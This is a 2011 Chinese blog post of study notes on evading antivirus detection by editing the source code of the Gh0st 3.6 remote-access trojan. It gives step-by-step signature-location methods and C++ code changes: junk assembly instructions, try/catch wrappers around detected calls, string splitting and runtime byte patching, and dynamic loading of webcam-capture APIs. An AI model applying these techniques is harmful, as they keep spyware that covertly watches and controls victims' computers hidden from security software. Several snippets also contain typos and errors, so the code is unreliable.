Visual C++ 源码免杀

http://www.bycat.org/post-3.html

咳咳.注意,只是免杀手记.学习过程中所学到的,都将会记录在此.持续更新……勿怪只是寥寥几条手记.谢谢……

  持续更新中……每天看的资料,学习过程中学的东西,都会在下面记录下来,有一个分割线记录的.如果有朋友感兴趣,看看也不错.基础的东西,一些不懂Visual C++ 的朋友,了解一下基础,有Visual Baisc 6.0 之类的计算机编程语言基础,相信大家看得也会比较简单.全文字记录,没有图文说明.呵呵,给点难度自己,让自己也学得比较好一点.图文看得简单,思考的东西相信也少一点,给点全文字说明.自己想的东西也多一点,不要荒废了时间,不要荒废了你的一切.呵呵!加油吧.

  欢迎爱好计算机技术的朋友一起交流.这里就留一下我个人的QQ给大家吧.

  QQ:294562985

  一般情况下,只要不是在忙的时候,可以联系我.如果没有回信息,那就等待等待吧.


 

2011年04月21日   记录  类型:Visual C++ 源码免杀

内容:

  源码定位特征码后所需修改的特征码大致有四种:指令 字串 启发特征 函数 输出表 ).

  初步确定特征码后可随意上汇编指令:__asm nop;  花指令.可随意在代码段中添加,无所谓多少.只是多余的代码.也可以在源码中添加花指令.当然,具备一定的汇编基础.

  特征码定位方法:工具定位 代码定位 手工定位

  当然,在黑客学习基地里的Gh0st 源码课程资料中有记录.手工定位特征码!该讲师的新特征码定位方法,比较适用于Visual C++ 源码免杀中进行定位.

工具定位:

MyCCLMutiCCL .两种工具进行定位.相信有一定认识免杀基础的朋友都懂如何利用MyCCLMutiCCL 进行定位,这里我也不需要去记那么点废话.

代码定位:

  当初步确定特征码存在于某个代码段中.而无法得到准确的特征码时,我们可以进行代码定位.也就是构造意外代码进行定位.使得后面代码不存在,从而编译后进行查杀.若提示被杀,则说明该特征码在构造意外代码的上面!我们再向上构造意外代码进行定位.若提示不被杀,则说明特征码就在两次构造意外代码中间,然后缩小范围进行代码定位.从而得到最准确的特征码!

  构造意外代码:return FALSH; 注意:如果返回值是空,就不能用return FALSH; 了.直接return; 就可以了.如果你有Visual C++ 基础的话.相信可以利用一些代码来进行代码定位.return 0; 也可以的.return NULL;

手工定位:

  C32Asm 纯手工操作.比如从400 到文件结尾全部填充00 .杀软提示不杀了,我们可以选择初步断定的特征码所在位置.但是对准确的位置来说,还不够.不能完全得到特征码的准确位置.我们可以像代码定位一样一段一段的去填充查杀定位.相对于特征码定位来说,该方法一般用在高启发的杀软上进行定位!

预备处理:

  服务端的分离,相信应该都懂.讲服务端的生成文件目录修改一下,在同一个目录进行生成,方便管理和做免杀.

  注意设置服务端的源码生成时勾上“产生MAP文件 ”!在特征码到源码查找,这里运行Ollydebug 时会用到MAP文件

  有关Gh0st 相关的特征.如Gh0st Up date 等相关的特征,不要让杀软一看就知道你这个就是远控,代码就直接告诉杀软.我就是远程控制!!

代码处理记录:

  如果杀该函数:DeleteInstallFileGh0st 3.6 中的svchost filesdll 中的svchost\svchost.cpp 里面看到,是一个删除安装文件的函数.而InstallModule 是我们自定义的,我们可以随意改.改成相对应的即可.注意,要搜索所有InstallModule 该自定义后进行修改,一定要是相对应的!

  如找到特征码时,断定该特征码便是该函数调用或者是什么什么的.这些凭个人去想.猫猫 不解释.呵呵!

  以下段代码为例:

char* MyDecode(char *str)
{
  int   i,len;
  char   *data = Null;
  len = base64_decode(str, &data);  //base64编码.加密数据

  for (i = 0; i < len; i++)
  {
    data[i] -= 0x86;  //把数据自减86
    data[i] ^= 0x19;  //然后于19异或
  }
  return data;
}

  我们来搜索“^= 0x19; ”注意,在搜索时,将文件目录范围调整在整体中查找.

  加密解密都是相对应的.所以在改的过程中,都要改成一样的,相对应的!修改19XX 随便.只要相对应即可.

  如果还是被查杀,便杀for 循环了.我们可以用异常来进行处理这个for 循环.我们可以看len 返回的是长度,我们可以用try catch 来进行处理.

  修改如下:

char* MyDecode(char *str)
{
  int   i,len;
  char   *data = Null;
  len = base64_decode(str, &data);  //base64编码.加密数据

  try
  {
    if ( len > 0 ) throw 12;  //如果len大于0
  }
  catch (...)
  {   //把被杀的for循环放在里面.注意我所显示的^= 0x54;是修改过的.只要对应
    for (i = 0; i < len; i++)
    {
      data[i] -= 0x86;  //把数据自减86
      data[i] ^= 0x54;  //然后于19异或
    }
  }
  return data;
}

  如果杀这个函数呢?ReleaseMutex 这个函数.我们又该怎么办.整体:ReleaseMutex(hInstallMutex); 释放互斥的意思.同样,我们可以用try catch 来处理它!

  原代码:ReleaseMutex(hInstallMutex);

  修改如下:

  try
  {
    if ( hInstallMutex != NULL ) throw 13; //它不等于空.也就是说这个句柄是有效的
  }
  catch (...)
  {
    ReleaseMutex(hInstallMutex); //把被杀的函数放到catch里面
  }

  如果还是被杀,就是来回的杀这个ReleaseMutex(hInstallMutex); 这个互斥.这是关于函数的查杀,我们如果还杀被杀的话.我们该怎么办呢?

  唔.猫猫 在看资料的时候,在Gh0st 3.6 的代码中,该段函数是有三个.分别是:SetErrorMode(0);ReleaseMutex(hInstallMutex);CloseHandle(hInstallMutex); 这三个函数.那么我们将CloseHandle(hInstallMutex); 这个函数也放到catch 里面呢.试试就知道了,免杀了.那就说明这个特征码已经免杀成功!

  修改代码如下:

  SetErrorMode(0);

  try
  {
    if ( hInstallMutex != NULL ) throw 13;  //它不等于空.也就是说这个句柄是有效的
  }
  catch (...)
  {
    ReleaseMutex(hInstallMutex);  //把被杀的函数放到catch里面

    CloseHandle(hInstallMutex); //将另一个函数也放到catch里面来看看
  }

  return -1; //返回值与这个函数的成功与否有很大关系, 多数 默认成功返回则是0.

  //这里return -1;代表不成功,如果运行到这里就是卸载了.返回-1;-2;都可以.随便


 

2011年04月22日   记录  类型:Visual C++ 源码免杀

内容:

  今天猫猫 说一次啊,在用MyCCL 进行定位特征码的时候应该有基础的朋友懂,为了巩固下记忆,方便初学者,就这里再写一次.定位开始位置:400 开始,建议选反向 ……填充处一般针对各杀软都有各的写法,这里我也不讲了.或许直接默认填充00 吧.一般情况下定位填充可以选择90 来填充.选择反向

  将需要免杀的文件载入Ollydebug ,右键注意载入LoadMapEx .即在源码中产生的MAP 文件!一般在Ollydebug 右键就能看到,但是有的会在插件栏里.各种版本都不一样,自行查看自己的Ollydebug 找到就好了.一般源码MAP 文件释放在Release 文件夹内.载入后我们Ctrl+A 然后选择免杀文件,如dll 文件选中后查找特征码.

  一般如果看到“$ ”这个符号,一般在Ollydebug 中看到的“十六进制 ”栏下看到.这个符号是一个子程序的开始.具体不讨论,有Visual C++ 基础的朋友懂.我基础不是很好啊.呵呵!

  好了,根据黑客学习基地的课程资料里来看,这个“$ ”符号在右边有注释“??0CAudio@@QAE@XZ ”我们初步可以断定该特征码就在Audio.cpp 中.

  在Ollydebug 中看到,在左方“十六进制 ”栏下有一条黑线,类似大括号,而在特征码的位置里,我们可以看到也有一条黑线,说小括号吧.呵呵!初步断定,这特征码的特征是循环语句

  依照昨天我记录的手记,还是非常简单的处理下代码:__asm nop; 随便加.呵呵!

  如果是杀字符“%s\%s ”,那么我们在源码里查找.注意是根目录里全部源码查找!查找的同时注意查找格式是”%s\\%s “而不是查找“%s\%s ”有基础的朋友会懂的.这里猫猫 不解释!

  如下段代码.这是格式化字串吧.

wsprintf(szPhoneBook2, "%s\\%s", szPhoneBook2, "Microsoft\\Network\\Connections\\pbk\\rasphone.pdk");

  我们该怎么去处理呢?我们可以用字符串的拼接 来处理!看处理后的代码.

wsprintf(szPhoneBook2, "%s\\", szPhoneBook2);  //格式化字串是两个东西

lstrcat(szPhoneBook2, "Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");

  //拆开,先格式化一个,然后再把后面的拼接上去.

  其实我们针对这种字串处理 有很多种方法,有动态填充拆分 等……

  我们再看这一段字串代码 .我们还是依照上面的拼接 处理!

wsprintf(strDirectory, "%s\\%s", lpszDirectory, wfd.cFileName);

  处理后代码.

wsprintf(strDirectory, "%s\\", lpszDirectory);

lstrcat( strDirctory, wfd.cFileName );

  如果我们看到杀软杀的是语音监控 之类的功能,我们最简单最有效的方法就是直接删了该功能!当然了,不是经常要用到的,重要的功能,我们可以删掉.或者你可以用动态调用 去处理!

  KerneIManager.cpp 里面查找语音监控 的功能.如下段代码演示.

case COMMAND_AUDIO:

  m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,

    (LPVOID)m_pClient->m_Socket, 0, NULL);

  break;

  我们去掉该功能的方法直接给注释掉即可.如在case COMMAND_AUDIO; 上方加/* .在break; 后面加*/ 即可.注释后我们在搜索查找中搜索Loop_AudioManager 找到另一处也是同样的方法,将一段代码都给注释掉即可.我们拉上最上方,同样把“#include "AudioManager.h" ”这个头文件 的包含也给注释掉即可.

  如果杀比较常用的功能,我们就需要用到动态调用 了.这里直接拿视频监控来做演示改代码.

  嗯,杀AVICAP32.dll 里面的两个函数.capGetDriverDescriptionAcapCreateCaptureWindowA .注意在搜索时去掉最后面的大写A 再进行搜索.

  搜索完capGetDriverDescription 后,我们看到VideoCap.cpp 这里面的搜索结果.我们找到这个函数声明 .看到如下段代码.

BOOL VFWAPI capGetDriverDescriptionA (UINT wDriverIndex,

    LPSTR lpszName, int cbName,

    LPSTR lpszVer, int cbVer);

  我们先复制这段代码.找到Header Files 这个文件下拉看到unti.h 这个文件打开后(注意,该段代码处理是在Gh0st 3.6 中的dll 文件免杀处理演示).WIN32API 统一是__stdcall

  我们可以看到有一段代码,在这两句之间吧.嗯!这两句代码中间,看如下.

bool http_get(LPCTSTR szURL, LPCTSTR szFileName);

#endif  //!defined(AFX_UNTIL_H_INCLUDED)

  我们就插在中间修改.将复制的代码粘贴在该两句代码中间.代码修改如下.

bool http_get(LPCTSTR szURL, LPCTSTR szFileName);

  //下面段代码则是插入中间的修改

typedef BOOL (__stdcall *pcapGetDriverDescriptionA) (UINT wDriverIndex, LPSTR lpszName, int cbName, LPSTR lpszVer, int cbVer);

  //我们将代码写成一整句的.注意__stdcall处是统一WIN32的API.

#endif  //!defined(AFX_UNTIL_H_INCLUDED)

  好了,这样就修改完了,我们再回到VideoCap.cpp 这个文件内,也就是搜索过的.然后我们在上面写入一句代码.该段代码如下.

{

  //已经连接了

  if (m_bIsConnected)

    return false;

  bool  bRet = false;

  //下面一句代码则是调用新的函数,也就是pcapGetDriverDescriptionA这段

  pcapGetDriverDescriptionA MyFun1 = (pcapGetDriverDescriptionA)GetProcAddress( LoadLibrary("avicap32.dll"), "capGetDriverDescriptionA" );

  char  lpszName[100], lpszVer[50];

  for (int i = 0; i < 10 && !bRet; i++)

  {   //下面一句代码,在capGetDriverDescription处,复制MyFun1替换

    bRet = capGetDriverDescription(i, lpszName, sizeof(lpszName),

  //替换后的代码如:bRet = MyFun1(i, lpszName, sizeof(lpszName),

      lpszVer,sizeof(lpszVer));

  }

  return bRet;

}

  然后我们复制MyFun1 替换掉capGetDriverDescription 这个代码.如上段代码中的注释处有说明替换修改.然后我们接着复制调用新的函数 ,则是pcapGetDriverDescriptionA 这句代码,整句复制!然后我们在搜索显示栏 里有两个文件的,现在我们才修改完VideoCap.cpp 文件,我们复制后来到另一个搜索出的结果login.h 这个文件.

  还是如上方的代码一样,只是代码有略微的不同!不要紧,相信改过VideoCap.cpp 文件代码的朋友应该知道在哪修改了,虽然有略微的不同.但是放的地方位置还是差不多的.在附近代码都基本一样!

  好了,我们粘贴完复制的那句代码后,我们再来复制MyFun1 来粘贴替换掉capGetDriverDescription 就可以了.

  注意,在VideoCap.cpp 文件中的顶部代码中别忘记添加包含的头文件.代码如下.

#include "videoCap.h"

#include "until.h"   //添加的代码.

  然后我们再编译,少了一个函数,我们还需要处理另外一个函数.capCreateCaptureWindowA 搜索的方法相信大家知道该怎么搜索.去掉什么了吧,这里就不多说了.和上一个函数的处理方法是差不多的.

  搜索的结果只有一个文件VideoCap.cpp 这个文件,我们去到声明 ,然后找到该函数声明 的代码,还是复制这段代码,如下.

HWND VFWAPI capCreateCaptureWindowA (

    LPCSTR lpszWindowName,

    DWORD dwStyle,

    int x, int y, int nWidth, int nHeight,

    HWND hwndParent, int nID);

  还是unti.h 里面,在上面处理过的函数 下放粘贴该段代码,相信大家知道怎么该的.再粘贴出代码来给大家看,代码如下.

typedef HWND (__sdtcall *pcapCreateCaptureWindowA)( LPCSTR lpszWindowName, DWORD dwStyle, int x, int y, int nWidth, int nHeight, HWND hwndParent, int nID);

  好了,代码修改完了.pcapCreateCaptureWindowA 这个也就是新的数据类型 了. 然后我们回到刚搜索的文件结果VideoCap.cpp 里面.我们在下面这句代码下方修改,代码如下.

m_hWnd = CreateWindow("#32770", /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);

  //在这句代码下放开始插入新的代码,新的数据类型.

pcapCreateCaptureWindowA MyFun2 = (pcapCreateCaptureWindowA)GetProcAddress(LoadLibrary("avicap32.dll"), "pcapCreateCaptureWindowA" );

m_hWndCap = capCreateCaptureWindow

  //然后把上一句代码中的capCreateCaptureWindow改成MyFun2,是m_hWndCap处改

  然后我们可以编译了,由于上面一个函数处理 时,已经将包含的文件头 代码添加了,所以不需要再改了.直接编译就可以了.这个时候PE 里面就没有AVICAP32.dll 这个文件了.


 

2011年04月23日   记录  类型:Visual C++ 源码免杀

内容:

  免杀中还可以插入汇编指令,不一定是__asm nop; .也可以是其他的.如下两句代码也可以起到作用.

__asm pushad;

__asm popad;

  相信大家都看过上面的手记了,那么拼接法应该大家都会了吧.好了,我写一段代码,然后再写修改的代码.代码如下.

  int   nCout = 0;

  char   *lpPhoneBook[2];

  char   szPhoneBook1[MAX_PATH+1], szPhoneBook2[MAX_PATH+1];

  GetWindowsDirectory(szPhoneBook1, sizeof(szPhoneBook1));

  lstrcpy(strchr(szPhoneBook1, "\\") + 1, "Documents and Settings\\");

  lstrcat(szPhoneBook1,m_lpCurrentUser);

  lstrcat(szPhoneBook1,"\\Application Data\\Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");

  特征码就杀最后一句代码.你会怎么办?拼接法 ?会么.很简单.看代码.

lstrcat(szPhoneBook1,"\\A");

lstrcat(szPhoneBook1,"pplication Data\\Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");

  如果还有一样的代码,那么就同样拼接修改就好了.

  我们继续看代码.是属于解编器系列的.我们如何改.

  //从这几种解编器中选一种.

  DWORD  fccHandlerArray[] =

  {

    859189837, //Microsoft H.263 Video Codec

    842225225, //Intel Indeo(R) Video R3.2

    842289229, //Microsoft MPEG-4 Video Codec V2

    1684633187 //Cinepak Codec by Radius

  };

  这样的我们怎么改?看注释,有“选一种 ”,这说明是选择下面的其中一种.这个顺序不是必须一定要按顺序的.我们可以扰乱顺序 ,杀的特征码是最后一个,我们就把后面调到前面就好了.看代码.

  //从这几种解编器中选一种.

  DWORD  fccHandlerArray[] =

  {

    859189837, //Microsoft H.263 Video Codec

    842225225,  //Intel Indeo(R) Video R3.2

    1684633187,  //Cinepak Codec by Radius

    842289229  //Microsoft MPEG-4 Video Codec V2

  };

  注意换代码时的符号不要写错 了.

  当特征码定位到这句代码的时候怎么办,代码如下.

wsprintf(servicename, "netsvcs_0x%d",i);

  好了,我们可以理解一下代码先.代码的意思是说当这个服务没有的时候,就会新建一个服务到netsvcs组里面. 这个netsvcs_ 名字是无所谓 的,可以随便改.随意改.我也不做代码修改后的演示了.

  好了,这是另一个字符的特征码.代码如下.

char *ptr, *pSvchost = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";

  这个地方我们要怎么改?直接看修改后的代码.

char *ptr, *pSvchost = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";

pSvchost [0] = 'S';  //将pSvchost索引地址0改为S也就是第一个改回S

  代码解释,我们把S 改成n 或者是其他的.然后把pSvchost索引地址0也就是第一个 .改为S ,也就是将n 改回S

  注意,在搜索这个特征码的时候,可能会有两处甚至是多处,注意代码.要改成同样的.在搜索栏下方有显示.注意n 可以随意.只要最后索引结果改回S 就可以了.

  遇到该句代码为特征码又该如何改呢.代码如下.

throw "RegQueryValueEx(Svchost\\netsvcs)";

  注意.搜索throw 后所显示的或许有好几个,我们主要找的是上面的代码就是了.在throw 后的代码.我们直接把RegQueryValueEx(Svchost\\netsvcs) 给删掉就可以了.注意是搜索出来的好几个throw 代码段中的一部分给删掉.

  或许有的throw 代码中双引号里面的代码不一样 ,没关系.还是直接删掉双引号内的代码 就可以了.

  再看一处特征码.代码如下.

char *bin = "%SystemRoot%\\System32\\svchost.exe -k netsvcs";

  这句我们又该如何处理?还是修正法 .也是字符处理 中的一中.代码如下.

char *bin = "2SystemRoot%\\System32\\svchost.exe -k netsvcs";

bin[0] = "%"  //将bin索引地址0中的2修正为%.

  好了,代码解释我不多说.像上面那个索引地址修改一样. 


 

2011年07月09日  记录  类型:Visual C++ 源码免杀

内容:

  C32中,第一段是文件头。第二段是代码。第三段往下看,是输入表。第四段是字符串。第五段是版权信息。第六段是

 

Visual C++代码免杀方法

 

 

 

一、文件特征码定位:

  一般我们先用MyCCL把被查杀文件的文件特征码定位出来,然后用C32判断定位出来的这个特征码是代码还是字符串,或者是输入表、输出表、版权信息等…定位在不同的地方,就要用不同的方法来进行源码免杀。

如果特征码定位木马服务端的代码里,那么我们就把这个木马用OD载入,然后把特征码旁边(前面和后面)调用了的API函数记录下来,再到源码里搜索并找到源码特征码。或者用另外一种"Map定位法",也就是在编译的时候生成一个map后缀的文件,然后把MyCCL定位出来的文件地址转换为内存地址,再到map文件里找到这个内存地址对应的行数。但这个方法比起刚才的方法来说麻烦了点,所以就不具体介绍了。

 

二、源码特征码修改:

  把特征码前后调用了的API函数复制出来,然后到源码里搜索这个API函数,在它附近(一般加在前面)加花就可以了。或者你也可以修改代码,把原来的代码改成能达到同样目的的代码。如果你不想定位的话,那也可以随便给源码加花,也就是说不特意的去定位特征码,而是随便选一个地方加花。除非字符串或者输入表函数被杀,不定位加花的方法几乎可以不用定位特征码而达到免杀的目的。

 

三、示例:

Example.cpp,把这个文件编译出来,然后我们来看看改变代码后编译出来的文件有什么变化

 

从这个例子中我们可以学到以下几点:

1.交换代码位置

2.代码的合并和分离

3.根据MyCCL定位出来的特征码找出对应的源码特征码位置

4.代码加花指令

5.函数调用交换

 

 

源码花指令:

__asm

{

 nop

 nop

 nop

 nop

 nop

 nop

 nop

 nop

 nop

 nop

}

 

 

 

posted on 2011-09-18 15:37  l1b2q31  阅读(2646)  评论(0编辑  收藏  举报

导航